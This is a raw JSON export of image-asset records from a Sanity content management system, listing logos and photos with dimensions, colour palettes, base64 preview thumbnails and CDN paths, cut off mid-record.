{"_createdAt":"2022-06-16T22:53:50Z","_id":"image-dbd7eb08ea967e827fefd3432671bfca0ae3da34-176x47-svg","_rev":"oamrAPLmQLQjd9jh7ZoFbq","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:50Z","assetId":"dbd7eb08ea967e827fefd3432671bfca0ae3da34","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DZBpT]~O?T%IazWEWCWEazfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.74468085106383,"height":47,"width":176},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABQ0lEQVQYlU3Pzy8jcRzG8YmLNUxbnOaZ9/dYP+Kye5G4u4oLuithD0I4SIdQm1abaBChQje7EtqEFb8S9rCcHP0HDvhTeuuMjMxhD6+8j5/nYxVXk43tYqJxXbMb1R2nUcoln2emug570m5F8krGaBa0DDoB/QUdgBZBc6Bp0FfQZNxp69duR/OHn2r6C53NNT/V3N90XnPZ1G5vj5uXvIIxWgOtg8qxIqgAyoGW4kaiI771ePcp3Cwkwsnx7jC/nAz/Xba91X+25wf63YzkfTNGGfgwBhoFTYC+g0ZAQ6DB2GfQF+umbgcHW06wXUwEe2UnvDi2Xyplp9zX6+YkL2+MsvDBB62ANkAl0DDIAbX8L3o5vKrZwdNDa3B72hYeVTresvOd1XTarXmed2OMzkB10G/QH9A96Dxea4MsYzwrauQdpJptSKune+EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#20343c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a19b0c","foreground":"#fff","population":0.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9eb07","foreground":"#000","population":7.64,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9a762","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f070","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a961","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9eb07","foreground":"#000","population":7.64,"title":"#000"}}},"mimeType":"image/svg+xml","originalFilename":"raiffeisen-bank.svg","path":"images/sczeoy4w/production/dbd7eb08ea967e827fefd3432671bfca0ae3da34-176x47.svg","sha1hash":"dbd7eb08ea967e827fefd3432671bfca0ae3da34","size":4275,"uploadId":"2U3wlroIo159MOhwVo2dTWMABTtcpNTW","url":"https://cdn.sanity.io/images/sczeoy4w/production/dbd7eb08ea967e827fefd3432671bfca0ae3da34-176x47.svg"} {"_createdAt":"2024-01-24T16:00:52Z","_id":"image-dc0f046d87f54c5955671a6bea126b8eee88bd9a-3000x2000-jpg","_rev":"ZLvKaZvfbZlWBlGcp99Eou","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T16:00:52Z","assetId":"dc0f046d87f54c5955671a6bea126b8eee88bd9a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTHL3e9GtQD*9u~WR$Ios:WB?uMx%1NaV@OFs,aKX8s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":2000,"width":3000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACUQAAEDBAAFBQAAAAAAAAAAAAECAwQABQYRBxITMVEWISJBcf/EABUBAQEAAAAAAAAAAAAAAAAAAAQC/8QAGxEAAwACAwAAAAAAAAAAAAAAAAECESEDEmH/2gAMAwEAAhEDEQA/AFXDrJJhwdLjE1uMYjoSQs901TM5yqC42vrIeUpWwT3I8Cslx61xneHc+5LLvXU6GgEr0ka+9UsxS0eo8yh2yTKebYI5tp7j8o1Sk6aeBE2pSdTnRv8AI4qWxxz5ONBSRykHewfFFUNqwmxW6C3HRBbd5R7rcG1KPkmijvk2R28P/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#553c2d","foreground":"#fff","population":4.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#982820","foreground":"#fff","population":0.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#553c2d","foreground":"#fff","population":4.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3d4b0","foreground":"#000","population":2.38,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edc0a3","foreground":"#000","population":1.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7059","foreground":"#fff","population":4.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc392e","foreground":"#fff","population":1.5,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"leadership-group.jpg","path":"images/sczeoy4w/production/dc0f046d87f54c5955671a6bea126b8eee88bd9a-3000x2000.jpg","sha1hash":"dc0f046d87f54c5955671a6bea126b8eee88bd9a","size":278952,"uploadId":"eUDSTNDYPqzrW7URunMbnTv1TrkwReex","url":"https://cdn.sanity.io/images/sczeoy4w/production/dc0f046d87f54c5955671a6bea126b8eee88bd9a-3000x2000.jpg"} {"_createdAt":"2022-06-30T20:10:49Z","_id":"image-dc59d11c92b382912fc0c4cc464db2fb1f2cdce4-1051x857-jpg","_rev":"QRl2cGoCgj0FlAhkRriQvh","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:28Z","assetId":"dc59d11c92b382912fc0c4cc464db2fb1f2cdce4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ePIg1LI.kpMy9[}@I:EMV@RO2dRPIpjF,ptjw|-ot6oeXQaLoef,XS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2263710618436405,"height":857,"width":1051},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgf/xAAkEAABAwQBAwUAAAAAAAAAAAABAgMFAAQREjEGE2EHFCNBof/EABUBAQEAAAAAAAAAAAAAAAAAAAIF/8QAIhEAAQMDAwUAAAAAAAAAAAAAAQACBAMRIRIU4TFBUXHR/9oADAMBAAIRAxEAPwCT6b+3Q+b6Qsk7drbcnjyadiphl3qV95kZQnJwQMAVBvevmZdaIti3TbuNpLC1BI+Q/XFZmLalYi9JAQkPq1dUsEkipgj13XPcHHKsUpcemQD0Is7hdHnZWQcvt7dl1DSkgp1TgHzRSVlJXU7aM3Ce2yGk9jAPOp5/aKLoUl51efSG7ijH1f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364659","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240b","foreground":"#fff","population":2.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4c0e","foreground":"#fff","population":5.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9c0c8","foreground":"#000","population":0.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#658698","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4c0e","foreground":"#fff","population":5.63,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dc59d11c92b382912fc0c4cc464db2fb1f2cdce4-1051x857.jpg","path":"images/sczeoy4w/production/dc59d11c92b382912fc0c4cc464db2fb1f2cdce4-1051x857.jpg","sha1hash":"dc59d11c92b382912fc0c4cc464db2fb1f2cdce4","size":1086551,"uploadId":"3pC1ma0GiJTJL7T6OdxEkIQrV7X1xWFX","url":"https://cdn.sanity.io/images/sczeoy4w/production/dc59d11c92b382912fc0c4cc464db2fb1f2cdce4-1051x857.jpg"} {"_createdAt":"2024-03-25T16:07:41Z","_id":"image-dc5d7b805ea5bfe5ac37dd6a3460234c16922b5d-843x229-jpg","_rev":"Y34ePYFQ489qDVybEK0Uzd","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T16:07:41Z","assetId":"dc5d7b805ea5bfe5ac37dd6a3460234c16922b5d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DHRMrS;LMK+]id~WWCR+WWoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6812227074235806,"height":229,"width":843},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAFABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAQI/8QAHhAAAgMBAAIDAAAAAAAAAAAAAQIAAxEEBRQxUWH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgME/8QAGxEBAAEFAQAAAAAAAAAAAAAAAQACAxES8CH/2gAMAwEAAhEDEQA/ANH+Jpvr5dbqd9YkaPj8lrJaayBcwOZuRErmC97WrIU5+tRnv2HPtRERH3eCZtDln//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#527a88","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b10772","foreground":"#fff","population":2.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b10772","foreground":"#fff","population":2.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9abebf","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66ddfc","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f889d","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10a0f7","foreground":"#fff","population":1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"feature-fm-logo.jpg","path":"images/sczeoy4w/production/dc5d7b805ea5bfe5ac37dd6a3460234c16922b5d-843x229.jpg","sha1hash":"dc5d7b805ea5bfe5ac37dd6a3460234c16922b5d","size":25030,"uploadId":"s8vRBh00JdyBARHYTatIvC3tnEvVrSjj","url":"https://cdn.sanity.io/images/sczeoy4w/production/dc5d7b805ea5bfe5ac37dd6a3460234c16922b5d-843x229.jpg"} {"_createdAt":"2022-06-14T14:41:04Z","_id":"image-dc61c3a20ccfdd53bcdff446e56d263dfce85fe0-205x205-jpg","_rev":"qkpX9b3U0TpOGFQp8XG0qr","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:04Z","assetId":"dc61c3a20ccfdd53bcdff446e56d263dfce85fe0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHKA.=B9Po~CDi00RORP-=%M0J-oMd9FIo4-t5n#9FRjkXRk-pE1-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAUGAQMHCP/EACYQAAEDBAEEAQUAAAAAAAAAAAIBAwQABQYREgcTMUEhIiMyUZH/xAAYAQEAAwEAAAAAAAAAAAAAAAADAAECBP/EAB0RAAICAgMBAAAAAAAAAAAAAAECAAMEESExQXH/2gAMAwEAAhEDEQA/AKDlkO6YUsKHGtb0WVzT7xJsdr40tWfHOijmRyCuN/vRJKeHknFPBLXQsmtk7qBFivXTnDZYLfAR/JU9rWjHZUNiDLbI5MhyK7yHhv4RPKVzkKhBWPi1ixW2Jxa447fLBcJNseaB3sOKImq65D6WleiskyTFWJzS3BpCfdZB3at7XS/v+UqyqHnUM0rvkyYxm6yLjCIZKNqJOqKog6+KgGhG3ZZKjxAEGVLajrzulK1b5Hxuz8mcswmzXi6DLmNu91WhH6D4ppN+qUpUEBu5/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#475933","foreground":"#fff","population":4.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#161e0d","foreground":"#fff","population":2.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b57f72","foreground":"#fff","population":6.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa39c","foreground":"#000","population":4.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcebea","foreground":"#000","population":2.66,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b57f72","foreground":"#fff","population":6.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e28579","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olivier.jpeg","path":"images/sczeoy4w/production/dc61c3a20ccfdd53bcdff446e56d263dfce85fe0-205x205.jpg","sha1hash":"dc61c3a20ccfdd53bcdff446e56d263dfce85fe0","size":13145,"uploadId":"UiThke5qY6zWoL7QFqzw1AeNz2F0wWFO","url":"https://cdn.sanity.io/images/sczeoy4w/production/dc61c3a20ccfdd53bcdff446e56d263dfce85fe0-205x205.jpg"} {"_createdAt":"2022-06-30T20:00:15Z","_id":"image-dcac382d6a30b20fcb2c915c6a08e05c220149b2-1567x844-jpg","_rev":"cEPH2uRN58AU2lp9QO83Oz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:47Z","assetId":"dcac382d6a30b20fcb2c915c6a08e05c220149b2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZHUtnD~o|%N%J^-NDIWxbs*~qRjRRt4WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHAwT/xAAiEAACAgICAgIDAAAAAAAAAAABAgMEAAUGESExBxITYZH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAgMF/8QAHBEAAgMAAwEAAAAAAAAAAAAAAREAAgMFEyIx/9oADAMBAAIRAxEAPwBDn5bep7e00Niw8UMwDfZyAMfNT81W3pV6aUxO3mFnVuyT+sn3NNTRj3MyJAFSRu3AY9Mf7nTxjU0aeyEtaARukZdSGPg9e/eFNOv3YNfJUWFQgJXuM8jm2+vey7SQt+VkKA+uusM0+PtTRHHVYQDt5WZj9j5J68+8MzNOQ1NiXHGTDn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3332","foreground":"#fff","population":4.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#121e6a","foreground":"#fff","population":0.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a6161","foreground":"#fff","population":6.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b2cf","foreground":"#000","population":1.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbc985","foreground":"#000","population":3.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a6161","foreground":"#fff","population":6.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d3b54f","foreground":"#000","population":2.61,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dcac382d6a30b20fcb2c915c6a08e05c220149b2-1567x844.jpg","path":"images/sczeoy4w/production/dcac382d6a30b20fcb2c915c6a08e05c220149b2-1567x844.jpg","sha1hash":"dcac382d6a30b20fcb2c915c6a08e05c220149b2","size":780072,"uploadId":"1GjBSHLqeDrcQ06iUnU1atgLglvACPBm","url":"https://cdn.sanity.io/images/sczeoy4w/production/dcac382d6a30b20fcb2c915c6a08e05c220149b2-1567x844.jpg"} {"_createdAt":"2022-06-16T22:53:47Z","_id":"image-dcb9f3ffacb5ebbd2173f2b7fe2429c6805c18d2-160x36-svg","_rev":"qkpX9b3U0TpOGFQp8fNuky","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:47Z","assetId":"dcb9f3ffacb5ebbd2173f2b7fe2429c6805c18d2","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCMeE+LIC4xXs91w|1;4;4w0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.444444444444445,"height":36,"width":160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPUlEQVQYlU2MzyvDcRzGn2GJiFJ4vhuWGbUYSpoiS8RlJ0flJsrJj1aKCDmNlPzWknLw44LRRlvNRSviwAEHz5z8GZo+B4dX7/fzvN/Pgx9UVH+D4Y8852u6tPbkwt3Yv9blLz6zam1f9mrba34VMmBOBiwUWCawQKDtHxCsLH8a622tfXF6DpPldU93job72xrvSqqyPvCe53BnYNULbBDYLHBA4IjAoMCs7za+V6BPoD8Lhge7l0O9/pvNlubnO3reXopclx925/wXrFGBIYGzAqcEzgg8ErgrcFLguMClf6wKPMCOz3c6F2iPTPd17Ea8TbHH4pqEwFMTPhd4bJ4XBO4L3DMze78UGDX7jsAUPnMd1+kS18TgUE9wLNgZjtETF6xEBnwQeCVwywQiAjcELprCG4FJU7ht/OgvIS6OR5uAXLsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335949","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047c2c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6041d","foreground":"#fff","population":3.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4847c","foreground":"#fff","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccce4","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748868","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6041d","foreground":"#fff","population":3.35,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"auchan.svg","path":"images/sczeoy4w/production/dcb9f3ffacb5ebbd2173f2b7fe2429c6805c18d2-160x36.svg","sha1hash":"dcb9f3ffacb5ebbd2173f2b7fe2429c6805c18d2","size":4898,"uploadId":"W9b8QQFsei3780FrwUXJW0ObVlZ6I7yI","url":"https://cdn.sanity.io/images/sczeoy4w/production/dcb9f3ffacb5ebbd2173f2b7fe2429c6805c18d2-160x36.svg"} {"_createdAt":"2022-09-08T16:32:22Z","_id":"image-dcceb4fc18331235da0b1438940783e74f56f88c-1786x1422-png","_rev":"CK1sLU2mnwa3vmbYWEedii","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:22Z","assetId":"dcceb4fc18331235da0b1438940783e74f56f88c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7SY?aRQRQ%MRP_NM|ogRkRk%#RjM|RkSOtRNGVtj]Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2559774964838255,"height":1422,"width":1786},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABYlAAAWJQFJUiTwAAACTElEQVQ4jY1U2Y7UMBDM/38TX8Aj4gmEYDeZXL7t9pE4M4XcmWFYaVnxUGqn3SmXuzrpPn2d8OXHhOEywxiDvBWUuqHUgu0ecy0o+4aytdyO6+0K3G64vYPu87cF319WzLOAMRaUIkIJcMnB58DgdQwIFBBLxF53HMeB47jier3yukUmdMqDtEcKhJQycilIJSEkAiVCzIkjxbafkEtGKYWxbRv2ff8TG2mHbcOtbDj2HbVWPq3Wgwv2vXKuYX+z357rm+daT5XdVjaUnJFz5pNawXu9+V90RATrHKy1CESn/IeiO1j9tmO/X+1U23p4nArv8ST0HlpKGCVBwSMRwRkDIwSCkIhSgYREWAXsskKJFUYrxBBQckJJid/JMTJpR1JAXgaoaQS1QqN5vby+QA8D7OUCexlg+h6q7yEuA/Q8ISiJ7CwjSAFSCkfJ6Pw8Qgw9ZCsyBmQt9LpATCNHKwWsEBy9ViBrEJ1F8g653ch7eCURxIoaCZ1fJuh1hfeexyISQWsNJSX31TkH5yy8c2j9zjmxgQ+klOCshZfyJAzrDCvlWVwKYoz8xTRSHwKIIudi69VfRCfKk1A9CJcJaplZRW4vxcjKGmHLhRA495boidgEKA0vBQ6+8jxi6V+gl4X7kpzj05yUCEYj2me/3gO1w5ugdcGRIrq2GH/9xNK/snPJaJBorj1d/AhBKcg2CeuKWgq64B2WacI8jjx/iQI7l9qcpXPOPgKFAK0Um3bUiq71oTncvpbTxbM35w+g/bL+gcceG3k63wb7N6RZ0d2fltlIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a7239","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d6199","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ac9e","foreground":"#000","population":0.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8d6d1","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ac9e","foreground":"#000","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649a67","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#438ac8","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dcceb4fc18331235da0b1438940783e74f56f88c-1786x1422.png","path":"images/sczeoy4w/production/dcceb4fc18331235da0b1438940783e74f56f88c-1786x1422.png","sha1hash":"dcceb4fc18331235da0b1438940783e74f56f88c","size":625090,"uploadId":"7XSTEMElaVRG3oOj9HDYcfvJmYh6gSx2","url":"https://cdn.sanity.io/images/sczeoy4w/production/dcceb4fc18331235da0b1438940783e74f56f88c-1786x1422.png"} {"_createdAt":"2022-07-08T09:49:31Z","_id":"image-dce1e6713b81eb142e63dce1228e125fde46b487-1602x776-png","_rev":"CK1sLU2mnwa3vmbYWEeU55","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:38Z","assetId":"dce1e6713b81eb142e63dce1228e125fde46b487","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6SF@T~B?vxaaM-=-:wf9F%g?bt,?ID%WU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.064432989690722,"height":776,"width":1602},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABfklEQVQokX2S2W7jMAxF/f+/WKBonaZO40UbKUq2kzOQCnSWhxFwQIgQL3gpDgBP/n/MjOv1ysvLC6+vr4zj+MO6rhzH0d89n0+Gx+PB4zw5fzj6veXP85ucM5/TxNvbWxe5XC68jyPv44Vl3Sj7znE+OkM1o6qgIZKcQ7aFHAOimSCZoAUnxm1x3O4zy7L2rqavO+PnF7c14LUSbSflylBUKMET5wU3TYTrSJzvuJC4e2VOhUUP5misISGqvePNR25b4N7yurNpZY2ZoWSlasJiQL0j+xUNHklCbB1KIYgRopCSsHd7J2KGz0awSig73poTZUhZEFOSCTGnTpKEpYh5T1g3/O2LOH2Q3cp5HH2+uRrRFG/yTRZcit+CIQubRDYJPYYU+xzNbcRlIdymLmjedcGzCRbrdV4TTlOPXiJD3XesFrTYb7JiWWnjyCIk74neUXLuK9Js11op+980raHtzp80O+1xG3zDe888t99dEBFKKX0vm+i/tW0PfwHCdrYWhVq6kgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#614631","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#215470","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cebeb1","foreground":"#000","population":0.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cebeb1","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74bcf4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4a789e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5096cd","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dce1e6713b81eb142e63dce1228e125fde46b487-1602x776.png","path":"images/sczeoy4w/production/dce1e6713b81eb142e63dce1228e125fde46b487-1602x776.png","sha1hash":"dce1e6713b81eb142e63dce1228e125fde46b487","size":149275,"uploadId":"h6IYboPG9OA0A1Vxzf0JTHVng5Bn0mrU","url":"https://cdn.sanity.io/images/sczeoy4w/production/dce1e6713b81eb142e63dce1228e125fde46b487-1602x776.png"} {"_createdAt":"2024-07-04T07:28:03Z","_id":"image-ddb065fa6250aebc43c6cb314c5d12224a6e0d8b-1200x628-png","_rev":"GIOwkysrijyYbzGkS2WXN1","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:28:03Z","assetId":"ddb065fa6250aebc43c6cb314c5d12224a6e0d8b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM[F.zk9=eeU}Yjbf6j[f6hfaKbHixgM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABmUlEQVQokX2STU9TYRhEp7fFGNSEFKQKBVcsSAwB2Zmw5AdYWgqIIKGlpbR8FXrBKo2YNJoQfvIccy9+XCpxMYt3czLPe0YURJwVQUlQFmwINgVbgo/Cu8JV4bpwQ7gpfCh8ItwWPhfuCEIh3ok4hQRw/T6QXUFVUBPsC5qCQ8GxoC04F0TATgSMQMU0rGagHMB6AO8D+JCCbcGOcCWFa2ncSOODALdS+DjApwE+C3AnhcMoEbCUgdo0HM1CfQoak9CcgoMcrj2DyiPcHMHdGXw1gz9N4u5L3Mvjr9P4Oo+/TeDeCL5II9Yew9kiXC9D+AbCBegu4nAWt3JQf4rbE/j7W3yzhPvzuP8a/5jDNwv4dh7fzuF+Hl8OIYoZ2BmH+iuo5mDvOdSjdxZXh6EyhPeH8ek47rzAnTEcZvFlFn8exVdjuDeKvzzBFwFyQcQppnBJeE14Q3hTeEs4abn213IsZcDy3R/+Npyczf8sNxKWTx6w/Kfhiu4algcaRpYf2uHRvzuMG94Drg6cvJ0A7iWArQHgL1gE/AmUvua6IJv3iQAAAABJRU5ErkJggg==","p